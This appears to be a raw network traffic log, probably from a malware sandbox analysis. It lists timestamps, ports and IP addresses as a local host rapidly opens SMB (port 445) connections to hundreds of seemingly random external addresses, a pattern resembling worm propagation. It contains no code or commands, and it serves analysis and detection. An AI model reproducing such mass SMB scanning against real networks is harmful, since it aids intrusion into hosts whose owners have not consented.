Jul 21, 2022 04:35:51.740463018 CEST	52908	445	192.168.2.6	33.235.47.82
Jul 21, 2022 04:35:51.823309898 CEST	445	52904	190.98.231.38	192.168.2.6
Jul 21, 2022 04:35:51.823535919 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:51.860034943 CEST	52909	445	192.168.2.6	121.177.219.53
Jul 21, 2022 04:35:51.862144947 CEST	52913	445	192.168.2.6	80.168.156.8
Jul 21, 2022 04:35:51.862148046 CEST	52914	445	192.168.2.6	142.105.115.195
Jul 21, 2022 04:35:51.862592936 CEST	52926	445	192.168.2.6	185.78.42.8
Jul 21, 2022 04:35:51.862674952 CEST	52927	445	192.168.2.6	196.39.87.226
Jul 21, 2022 04:35:51.862751007 CEST	52928	445	192.168.2.6	47.173.252.105
Jul 21, 2022 04:35:51.862802982 CEST	52925	445	192.168.2.6	130.53.215.120
Jul 21, 2022 04:35:51.862869024 CEST	52930	445	192.168.2.6	171.197.182.251
Jul 21, 2022 04:35:51.863109112 CEST	52933	445	192.168.2.6	149.57.77.101
Jul 21, 2022 04:35:51.863178015 CEST	52934	445	192.168.2.6	30.62.104.251
Jul 21, 2022 04:35:51.863266945 CEST	52935	445	192.168.2.6	12.86.1.54
Jul 21, 2022 04:35:51.863317966 CEST	52931	445	192.168.2.6	130.177.193.235
Jul 21, 2022 04:35:51.863331079 CEST	52936	445	192.168.2.6	56.120.56.186
Jul 21, 2022 04:35:51.863353014 CEST	52932	445	192.168.2.6	62.23.99.149
Jul 21, 2022 04:35:51.863431931 CEST	52937	445	192.168.2.6	13.18.15.102
Jul 21, 2022 04:35:51.863645077 CEST	52943	445	192.168.2.6	19.40.89.34
Jul 21, 2022 04:35:51.863719940 CEST	52944	445	192.168.2.6	84.7.155.202
Jul 21, 2022 04:35:51.863985062 CEST	52949	445	192.168.2.6	133.90.40.248
Jul 21, 2022 04:35:51.864073038 CEST	52950	445	192.168.2.6	156.25.95.23
Jul 21, 2022 04:35:51.864089966 CEST	52948	445	192.168.2.6	192.32.67.243
Jul 21, 2022 04:35:51.864142895 CEST	52951	445	192.168.2.6	205.84.238.3
Jul 21, 2022 04:35:51.864249945 CEST	52952	445	192.168.2.6	129.25.246.62
Jul 21, 2022 04:35:51.864308119 CEST	52953	445	192.168.2.6	183.197.100.54
Jul 21, 2022 04:35:51.864384890 CEST	52954	445	192.168.2.6	147.114.106.158
Jul 21, 2022 04:35:51.864505053 CEST	52956	445	192.168.2.6	116.181.227.141
Jul 21, 2022 04:35:51.864576101 CEST	52957	445	192.168.2.6	190.246.41.105
Jul 21, 2022 04:35:51.864640951 CEST	52958	445	192.168.2.6	52.172.228.247
Jul 21, 2022 04:35:51.864716053 CEST	52959	445	192.168.2.6	99.203.12.9
Jul 21, 2022 04:35:51.963890076 CEST	445	52933	149.57.77.101	192.168.2.6
Jul 21, 2022 04:35:52.122876883 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.122904062 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.122996092 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.123403072 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.123416901 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.251925945 CEST	52905	445	192.168.2.6	207.180.242.33
Jul 21, 2022 04:35:52.274636984 CEST	445	52905	207.180.242.33	192.168.2.6
Jul 21, 2022 04:35:52.442504883 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.442600965 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.445034981 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.445048094 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.445441961 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.446990967 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.492500067 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.533261061 CEST	52933	445	192.168.2.6	149.57.77.101
Jul 21, 2022 04:35:52.634023905 CEST	445	52933	149.57.77.101	192.168.2.6
Jul 21, 2022 04:35:52.656255007 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656282902 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656306982 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656418085 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.656434059 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656445026 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656492949 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656544924 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.656547070 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.656582117 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.656644106 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.662678957 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.662697077 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.662736893 CEST	52962	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.662744045 CEST	443	52962	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.722476959 CEST	52963	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.742952108 CEST	445	52963	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:52.743082047 CEST	52963	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.743133068 CEST	52963	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.745506048 CEST	52964	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.751970053 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:52.763396978 CEST	445	52963	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:52.763442039 CEST	445	52963	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:52.766141891 CEST	445	52964	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:52.766280890 CEST	52964	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.766486883 CEST	52964	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:52.770963907 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.771007061 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.771097898 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.771533966 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:52.771560907 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:52.787091017 CEST	445	52964	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:52.862215996 CEST	52968	445	192.168.2.6	104.245.57.240
Jul 21, 2022 04:35:52.863157988 CEST	52967	445	192.168.2.6	189.231.214.54
Jul 21, 2022 04:35:52.987665892 CEST	52969	445	192.168.2.6	213.108.48.169
Jul 21, 2022 04:35:52.988590956 CEST	52970	445	192.168.2.6	206.70.29.41
Jul 21, 2022 04:35:52.989895105 CEST	52971	445	192.168.2.6	163.166.82.22
Jul 21, 2022 04:35:52.990912914 CEST	52972	445	192.168.2.6	145.42.78.224
Jul 21, 2022 04:35:53.007497072 CEST	52974	445	192.168.2.6	96.42.82.95
Jul 21, 2022 04:35:53.018517017 CEST	52975	445	192.168.2.6	135.252.191.50
Jul 21, 2022 04:35:53.019807100 CEST	52976	445	192.168.2.6	84.134.174.109
Jul 21, 2022 04:35:53.019922018 CEST	52977	445	192.168.2.6	194.3.93.71
Jul 21, 2022 04:35:53.020323038 CEST	52978	445	192.168.2.6	120.218.104.147
Jul 21, 2022 04:35:53.020510912 CEST	52979	445	192.168.2.6	186.110.195.209
Jul 21, 2022 04:35:53.020539045 CEST	52980	445	192.168.2.6	217.203.157.198
Jul 21, 2022 04:35:53.020725965 CEST	52984	445	192.168.2.6	195.85.55.206
Jul 21, 2022 04:35:53.020796061 CEST	52985	445	192.168.2.6	173.100.186.168
Jul 21, 2022 04:35:53.021039009 CEST	52991	445	192.168.2.6	72.46.215.5
Jul 21, 2022 04:35:53.021115065 CEST	52992	445	192.168.2.6	201.227.21.241
Jul 21, 2022 04:35:53.021188974 CEST	52993	445	192.168.2.6	13.240.238.89
Jul 21, 2022 04:35:53.021265984 CEST	52994	445	192.168.2.6	188.243.218.198
Jul 21, 2022 04:35:53.021337986 CEST	52995	445	192.168.2.6	37.182.125.175
Jul 21, 2022 04:35:53.021418095 CEST	52996	445	192.168.2.6	63.158.252.82
Jul 21, 2022 04:35:53.021538973 CEST	52997	445	192.168.2.6	112.125.63.14
Jul 21, 2022 04:35:53.021620035 CEST	52998	445	192.168.2.6	143.197.6.134
Jul 21, 2022 04:35:53.021743059 CEST	53000	445	192.168.2.6	95.142.129.126
Jul 21, 2022 04:35:53.021842003 CEST	53001	445	192.168.2.6	8.227.224.168
Jul 21, 2022 04:35:53.021923065 CEST	53002	445	192.168.2.6	22.232.236.36
Jul 21, 2022 04:35:53.022018909 CEST	53003	445	192.168.2.6	158.91.100.183
Jul 21, 2022 04:35:53.022356987 CEST	53014	445	192.168.2.6	216.161.172.4
Jul 21, 2022 04:35:53.022438049 CEST	53015	445	192.168.2.6	43.226.63.55
Jul 21, 2022 04:35:53.022747993 CEST	53019	445	192.168.2.6	29.164.240.13
Jul 21, 2022 04:35:53.091706038 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.091830969 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.094077110 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.094103098 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.094378948 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.095479012 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.136503935 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303623915 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303674936 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303718090 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303771019 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303791046 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303808928 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303837061 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303860903 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303905964 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303925991 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303932905 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.303958893 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303981066 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.303989887 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.304014921 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.304044962 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.304137945 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.304191113 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.306672096 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.306699038 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.306709051 CEST	52965	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:53.306724072 CEST	443	52965	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:53.361371040 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:53.988354921 CEST	53025	445	192.168.2.6	50.160.222.39
Jul 21, 2022 04:35:53.989651918 CEST	53026	445	192.168.2.6	20.147.235.178
Jul 21, 2022 04:35:54.112164021 CEST	53027	445	192.168.2.6	178.94.202.85
Jul 21, 2022 04:35:54.112663984 CEST	53028	445	192.168.2.6	27.128.53.76
Jul 21, 2022 04:35:54.113188982 CEST	53029	445	192.168.2.6	149.58.81.232
Jul 21, 2022 04:35:54.113682032 CEST	53030	445	192.168.2.6	199.146.239.128
Jul 21, 2022 04:35:54.128346920 CEST	53032	445	192.168.2.6	87.193.136.70
Jul 21, 2022 04:35:54.132205009 CEST	53038	445	192.168.2.6	2.144.223.68
Jul 21, 2022 04:35:54.133040905 CEST	53039	445	192.168.2.6	28.92.142.54
Jul 21, 2022 04:35:54.136101961 CEST	53043	445	192.168.2.6	134.66.25.191
Jul 21, 2022 04:35:54.136837006 CEST	53044	445	192.168.2.6	139.83.93.141
Jul 21, 2022 04:35:54.137571096 CEST	53045	445	192.168.2.6	156.170.6.123
Jul 21, 2022 04:35:54.138403893 CEST	53046	445	192.168.2.6	149.226.253.153
Jul 21, 2022 04:35:54.139372110 CEST	53047	445	192.168.2.6	195.220.119.37
Jul 21, 2022 04:35:54.140532970 CEST	53048	445	192.168.2.6	96.21.243.149
Jul 21, 2022 04:35:54.141298056 CEST	53049	445	192.168.2.6	69.125.100.39
Jul 21, 2022 04:35:54.142201900 CEST	53050	445	192.168.2.6	28.104.160.1
Jul 21, 2022 04:35:54.143686056 CEST	53051	445	192.168.2.6	19.112.90.133
Jul 21, 2022 04:35:54.145762920 CEST	53053	445	192.168.2.6	90.59.150.218
Jul 21, 2022 04:35:54.146444082 CEST	53054	445	192.168.2.6	109.225.106.167
Jul 21, 2022 04:35:54.147098064 CEST	53055	445	192.168.2.6	50.62.254.200
Jul 21, 2022 04:35:54.147772074 CEST	53056	445	192.168.2.6	20.85.5.178
Jul 21, 2022 04:35:54.148463011 CEST	53057	445	192.168.2.6	172.126.213.114
Jul 21, 2022 04:35:54.149174929 CEST	53058	445	192.168.2.6	87.109.247.41
Jul 21, 2022 04:35:54.150044918 CEST	53059	445	192.168.2.6	44.21.226.158
Jul 21, 2022 04:35:54.152364016 CEST	53062	445	192.168.2.6	98.93.234.187
Jul 21, 2022 04:35:54.158076048 CEST	445	53027	178.94.202.85	192.168.2.6
Jul 21, 2022 04:35:54.175687075 CEST	53066	445	192.168.2.6	176.147.139.230
Jul 21, 2022 04:35:54.175930023 CEST	53067	445	192.168.2.6	204.235.162.231
Jul 21, 2022 04:35:54.176594973 CEST	53078	445	192.168.2.6	164.149.221.9
Jul 21, 2022 04:35:54.176687956 CEST	53079	445	192.168.2.6	167.229.60.87
Jul 21, 2022 04:35:54.736531019 CEST	53027	445	192.168.2.6	178.94.202.85
Jul 21, 2022 04:35:54.784147024 CEST	445	53027	178.94.202.85	192.168.2.6
Jul 21, 2022 04:35:54.861520052 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:55.096716881 CEST	53082	445	192.168.2.6	22.44.20.19
Jul 21, 2022 04:35:55.097429037 CEST	53083	445	192.168.2.6	69.21.94.213
Jul 21, 2022 04:35:55.237835884 CEST	53084	445	192.168.2.6	115.133.47.9
Jul 21, 2022 04:35:55.238615036 CEST	53085	445	192.168.2.6	172.29.151.132
Jul 21, 2022 04:35:55.239628077 CEST	53086	445	192.168.2.6	183.202.190.32
Jul 21, 2022 04:35:55.240359068 CEST	53087	445	192.168.2.6	32.236.136.163
Jul 21, 2022 04:35:55.253103018 CEST	53089	445	192.168.2.6	17.35.80.205
Jul 21, 2022 04:35:55.253823042 CEST	53090	445	192.168.2.6	30.149.19.241
Jul 21, 2022 04:35:55.303777933 CEST	53091	445	192.168.2.6	39.248.128.150
Jul 21, 2022 04:35:55.306534052 CEST	53094	445	192.168.2.6	145.1.104.165
Jul 21, 2022 04:35:55.306571960 CEST	53095	445	192.168.2.6	100.119.174.28
Jul 21, 2022 04:35:55.306664944 CEST	53096	445	192.168.2.6	73.17.132.159
Jul 21, 2022 04:35:55.306771994 CEST	53097	445	192.168.2.6	124.220.52.58
Jul 21, 2022 04:35:55.306890965 CEST	53098	445	192.168.2.6	108.215.156.60
Jul 21, 2022 04:35:55.306983948 CEST	53099	445	192.168.2.6	64.1.237.252
Jul 21, 2022 04:35:55.307097912 CEST	53100	445	192.168.2.6	65.62.71.104
Jul 21, 2022 04:35:55.307224035 CEST	53102	445	192.168.2.6	16.154.229.150
Jul 21, 2022 04:35:55.307323933 CEST	53103	445	192.168.2.6	106.192.126.118
Jul 21, 2022 04:35:55.307570934 CEST	53108	445	192.168.2.6	13.47.185.140
Jul 21, 2022 04:35:55.307744026 CEST	53110	445	192.168.2.6	144.180.154.65
Jul 21, 2022 04:35:55.307919979 CEST	53114	445	192.168.2.6	178.53.62.253
Jul 21, 2022 04:35:55.308860064 CEST	53115	445	192.168.2.6	65.176.100.10
Jul 21, 2022 04:35:55.308962107 CEST	53116	445	192.168.2.6	100.39.10.193
Jul 21, 2022 04:35:55.309046030 CEST	53117	445	192.168.2.6	53.33.111.157
Jul 21, 2022 04:35:55.309180021 CEST	53119	445	192.168.2.6	213.237.252.65
Jul 21, 2022 04:35:55.336102962 CEST	53123	445	192.168.2.6	174.124.60.245
Jul 21, 2022 04:35:55.336218119 CEST	53124	445	192.168.2.6	136.205.58.189
Jul 21, 2022 04:35:55.336714983 CEST	53135	445	192.168.2.6	120.177.103.225
Jul 21, 2022 04:35:55.336931944 CEST	53136	445	192.168.2.6	98.103.85.238
Jul 21, 2022 04:35:55.799801111 CEST	53137	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:55.820920944 CEST	445	53137	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:55.821032047 CEST	53137	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:55.821243048 CEST	53137	445	192.168.2.6	207.180.242.34
Jul 21, 2022 04:35:55.844273090 CEST	445	53137	207.180.242.34	192.168.2.6
Jul 21, 2022 04:35:55.909271002 CEST	53139	445	192.168.2.6	207.180.242.35
Jul 21, 2022 04:35:55.931862116 CEST	445	53139	207.180.242.35	192.168.2.6
Jul 21, 2022 04:35:56.206001043 CEST	53142	445	192.168.2.6	14.117.35.166
Jul 21, 2022 04:35:56.206490040 CEST	53143	445	192.168.2.6	197.147.242.155
Jul 21, 2022 04:35:56.363605022 CEST	53144	445	192.168.2.6	20.244.174.226
Jul 21, 2022 04:35:56.363689899 CEST	53145	445	192.168.2.6	214.141.241.89
Jul 21, 2022 04:35:56.363785982 CEST	53146	445	192.168.2.6	100.142.215.54
Jul 21, 2022 04:35:56.363835096 CEST	53148	445	192.168.2.6	55.202.229.100
Jul 21, 2022 04:35:56.380055904 CEST	53149	445	192.168.2.6	102.65.60.129
Jul 21, 2022 04:35:56.381068945 CEST	53150	445	192.168.2.6	146.71.130.127
Jul 21, 2022 04:35:56.424767971 CEST	53151	445	192.168.2.6	26.93.27.85
Jul 21, 2022 04:35:56.426229000 CEST	53154	445	192.168.2.6	70.2.212.239
Jul 21, 2022 04:35:56.426743984 CEST	53155	445	192.168.2.6	109.50.0.146
Jul 21, 2022 04:35:56.427207947 CEST	53156	445	192.168.2.6	106.179.197.71
Jul 21, 2022 04:35:56.427836895 CEST	53157	445	192.168.2.6	28.160.142.240
Jul 21, 2022 04:35:56.428400040 CEST	53158	445	192.168.2.6	135.168.165.254
Jul 21, 2022 04:35:56.428953886 CEST	53159	445	192.168.2.6	191.79.102.178
Jul 21, 2022 04:35:56.429490089 CEST	53160	445	192.168.2.6	198.63.24.74
Jul 21, 2022 04:35:56.430479050 CEST	53162	445	192.168.2.6	66.223.5.162
Jul 21, 2022 04:35:56.430969954 CEST	53163	445	192.168.2.6	84.70.111.17
Jul 21, 2022 04:35:56.433337927 CEST	53168	445	192.168.2.6	101.100.179.85
Jul 21, 2022 04:35:56.434302092 CEST	53170	445	192.168.2.6	17.89.214.50
Jul 21, 2022 04:35:56.436156034 CEST	53174	445	192.168.2.6	35.76.29.0
Jul 21, 2022 04:35:56.436805010 CEST	53175	445	192.168.2.6	191.96.230.1
Jul 21, 2022 04:35:56.437361002 CEST	53176	445	192.168.2.6	35.151.245.68
Jul 21, 2022 04:35:56.439760923 CEST	53139	445	192.168.2.6	207.180.242.35
Jul 21, 2022 04:35:56.440674067 CEST	53177	445	192.168.2.6	103.132.229.238
Jul 21, 2022 04:35:56.441194057 CEST	53178	445	192.168.2.6	17.34.192.64
Jul 21, 2022 04:35:56.441690922 CEST	53179	445	192.168.2.6	218.157.135.38
Jul 21, 2022 04:35:56.460045099 CEST	53180	445	192.168.2.6	31.83.26.67
Jul 21, 2022 04:35:56.460309982 CEST	53181	445	192.168.2.6	77.240.29.111
Jul 21, 2022 04:35:56.461209059 CEST	53190	445	192.168.2.6	72.13.213.6
Jul 21, 2022 04:35:56.461405039 CEST	53193	445	192.168.2.6	188.159.202.90
Jul 21, 2022 04:35:56.462810040 CEST	445	53139	207.180.242.35	192.168.2.6
Jul 21, 2022 04:35:56.995223999 CEST	53197	445	192.168.2.6	207.180.242.36
Jul 21, 2022 04:35:57.327220917 CEST	53202	445	192.168.2.6	140.6.31.134
Jul 21, 2022 04:35:57.327270031 CEST	53201	445	192.168.2.6	220.169.200.148
Jul 21, 2022 04:35:57.471929073 CEST	53203	445	192.168.2.6	119.14.137.91
Jul 21, 2022 04:35:57.472608089 CEST	53204	445	192.168.2.6	105.15.11.57
Jul 21, 2022 04:35:57.474071980 CEST	53206	445	192.168.2.6	62.237.57.214
Jul 21, 2022 04:35:57.474848986 CEST	53207	445	192.168.2.6	16.175.173.218
Jul 21, 2022 04:35:57.503681898 CEST	53208	445	192.168.2.6	198.10.179.96
Jul 21, 2022 04:35:57.505359888 CEST	53209	445	192.168.2.6	79.20.131.86
Jul 21, 2022 04:35:57.603274107 CEST	53214	445	192.168.2.6	113.122.58.74
Jul 21, 2022 04:35:57.603571892 CEST	53215	445	192.168.2.6	2.114.116.226
Jul 21, 2022 04:35:57.603801966 CEST	53217	445	192.168.2.6	92.44.253.159
Jul 21, 2022 04:35:57.603909016 CEST	53218	445	192.168.2.6	222.141.126.51
Jul 21, 2022 04:35:57.603986025 CEST	53219	445	192.168.2.6	208.152.232.70
Jul 21, 2022 04:35:57.604099989 CEST	53220	445	192.168.2.6	146.193.50.203
Jul 21, 2022 04:35:57.604196072 CEST	53221	445	192.168.2.6	47.79.106.124
Jul 21, 2022 04:35:57.604279995 CEST	53222	445	192.168.2.6	156.119.210.135
Jul 21, 2022 04:35:57.604365110 CEST	53223	445	192.168.2.6	47.180.46.253
Jul 21, 2022 04:35:57.604545116 CEST	53226	445	192.168.2.6	119.124.131.47
Jul 21, 2022 04:35:57.604635000 CEST	53227	445	192.168.2.6	124.134.30.103
Jul 21, 2022 04:35:57.604722977 CEST	53228	445	192.168.2.6	186.199.162.93
Jul 21, 2022 04:35:57.604809999 CEST	53229	445	192.168.2.6	117.216.205.180
Jul 21, 2022 04:35:57.605004072 CEST	53233	445	192.168.2.6	154.185.104.13
Jul 21, 2022 04:35:57.605159998 CEST	53235	445	192.168.2.6	93.131.15.145
Jul 21, 2022 04:35:57.605263948 CEST	53236	445	192.168.2.6	92.0.73.116
Jul 21, 2022 04:35:57.605350018 CEST	53237	445	192.168.2.6	58.56.137.217
Jul 21, 2022 04:35:57.605449915 CEST	53238	445	192.168.2.6	152.181.213.149
Jul 21, 2022 04:35:57.605608940 CEST	53241	445	192.168.2.6	65.15.181.189
Jul 21, 2022 04:35:57.605762005 CEST	53244	445	192.168.2.6	28.246.208.152
Jul 21, 2022 04:35:57.606169939 CEST	53254	445	192.168.2.6	202.139.25.59
Jul 21, 2022 04:35:57.606260061 CEST	53255	445	192.168.2.6	88.18.18.152
Jul 21, 2022 04:35:57.799348116 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:58.066226006 CEST	53257	445	192.168.2.6	207.180.242.37
Jul 21, 2022 04:35:58.087089062 CEST	445	53257	207.180.242.37	192.168.2.6
Jul 21, 2022 04:35:58.441041946 CEST	53261	445	192.168.2.6	115.218.30.19
Jul 21, 2022 04:35:58.441076994 CEST	53262	445	192.168.2.6	46.143.99.126
Jul 21, 2022 04:35:58.583475113 CEST	53263	445	192.168.2.6	69.183.181.217
Jul 21, 2022 04:35:58.583590984 CEST	53265	445	192.168.2.6	138.247.64.129
Jul 21, 2022 04:35:58.583666086 CEST	53266	445	192.168.2.6	89.186.180.164
Jul 21, 2022 04:35:58.583805084 CEST	53267	445	192.168.2.6	222.220.227.153
Jul 21, 2022 04:35:58.596282959 CEST	53257	445	192.168.2.6	207.180.242.37
Jul 21, 2022 04:35:58.617573977 CEST	445	53257	207.180.242.37	192.168.2.6
Jul 21, 2022 04:35:58.654731989 CEST	53268	445	192.168.2.6	94.42.19.148
Jul 21, 2022 04:35:58.654858112 CEST	53269	445	192.168.2.6	31.39.185.213
Jul 21, 2022 04:35:58.707231045 CEST	53273	445	192.168.2.6	177.46.213.183
Jul 21, 2022 04:35:58.707966089 CEST	53274	445	192.168.2.6	9.9.75.37
Jul 21, 2022 04:35:58.709307909 CEST	53276	445	192.168.2.6	9.39.6.144
Jul 21, 2022 04:35:58.710119963 CEST	53277	445	192.168.2.6	210.148.59.20
Jul 21, 2022 04:35:58.710899115 CEST	53278	445	192.168.2.6	144.189.211.1
Jul 21, 2022 04:35:58.711693048 CEST	53279	445	192.168.2.6	183.6.45.177
Jul 21, 2022 04:35:58.712502956 CEST	53280	445	192.168.2.6	170.1.254.168
Jul 21, 2022 04:35:58.713301897 CEST	53281	445	192.168.2.6	58.14.65.210
Jul 21, 2022 04:35:58.714063883 CEST	53282	445	192.168.2.6	1.192.235.73
Jul 21, 2022 04:35:58.716090918 CEST	53285	445	192.168.2.6	188.64.239.217
Jul 21, 2022 04:35:58.716806889 CEST	53286	445	192.168.2.6	84.159.236.208
Jul 21, 2022 04:35:58.717545033 CEST	53287	445	192.168.2.6	65.237.142.43
Jul 21, 2022 04:35:58.718242884 CEST	53288	445	192.168.2.6	56.233.208.223
Jul 21, 2022 04:35:58.721406937 CEST	53292	445	192.168.2.6	137.1.85.251
Jul 21, 2022 04:35:58.723089933 CEST	53294	445	192.168.2.6	59.192.5.133
Jul 21, 2022 04:35:58.723967075 CEST	53295	445	192.168.2.6	212.231.135.181
Jul 21, 2022 04:35:58.724838018 CEST	53296	445	192.168.2.6	25.151.186.207
Jul 21, 2022 04:35:58.725594044 CEST	53297	445	192.168.2.6	63.161.244.26
Jul 21, 2022 04:35:58.727741957 CEST	53300	445	192.168.2.6	147.145.209.107
Jul 21, 2022 04:35:58.729639053 CEST	53303	445	192.168.2.6	28.52.56.199
Jul 21, 2022 04:35:58.787168980 CEST	53313	445	192.168.2.6	102.169.90.151
Jul 21, 2022 04:35:58.788525105 CEST	53315	445	192.168.2.6	117.120.36.13
Jul 21, 2022 04:35:59.119647026 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.119685888 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.119765043 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.120832920 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.120851994 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.144083023 CEST	53318	445	192.168.2.6	207.180.242.38
Jul 21, 2022 04:35:59.167890072 CEST	445	53318	207.180.242.38	192.168.2.6
Jul 21, 2022 04:35:59.217416048 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.217518091 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.221194983 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.221210003 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.221482038 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.226939917 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.227010012 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.227021933 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.227268934 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.255963087 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.256052017 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.256134033 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.256355047 CEST	53317	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:35:59.256376982 CEST	443	53317	20.199.120.151	192.168.2.6
Jul 21, 2022 04:35:59.550446987 CEST	53322	445	192.168.2.6	9.198.2.137
Jul 21, 2022 04:35:59.551229954 CEST	53323	445	192.168.2.6	214.24.162.62
Jul 21, 2022 04:35:59.736995935 CEST	53318	445	192.168.2.6	207.180.242.38
Jul 21, 2022 04:35:59.755671024 CEST	53324	445	192.168.2.6	15.119.233.63
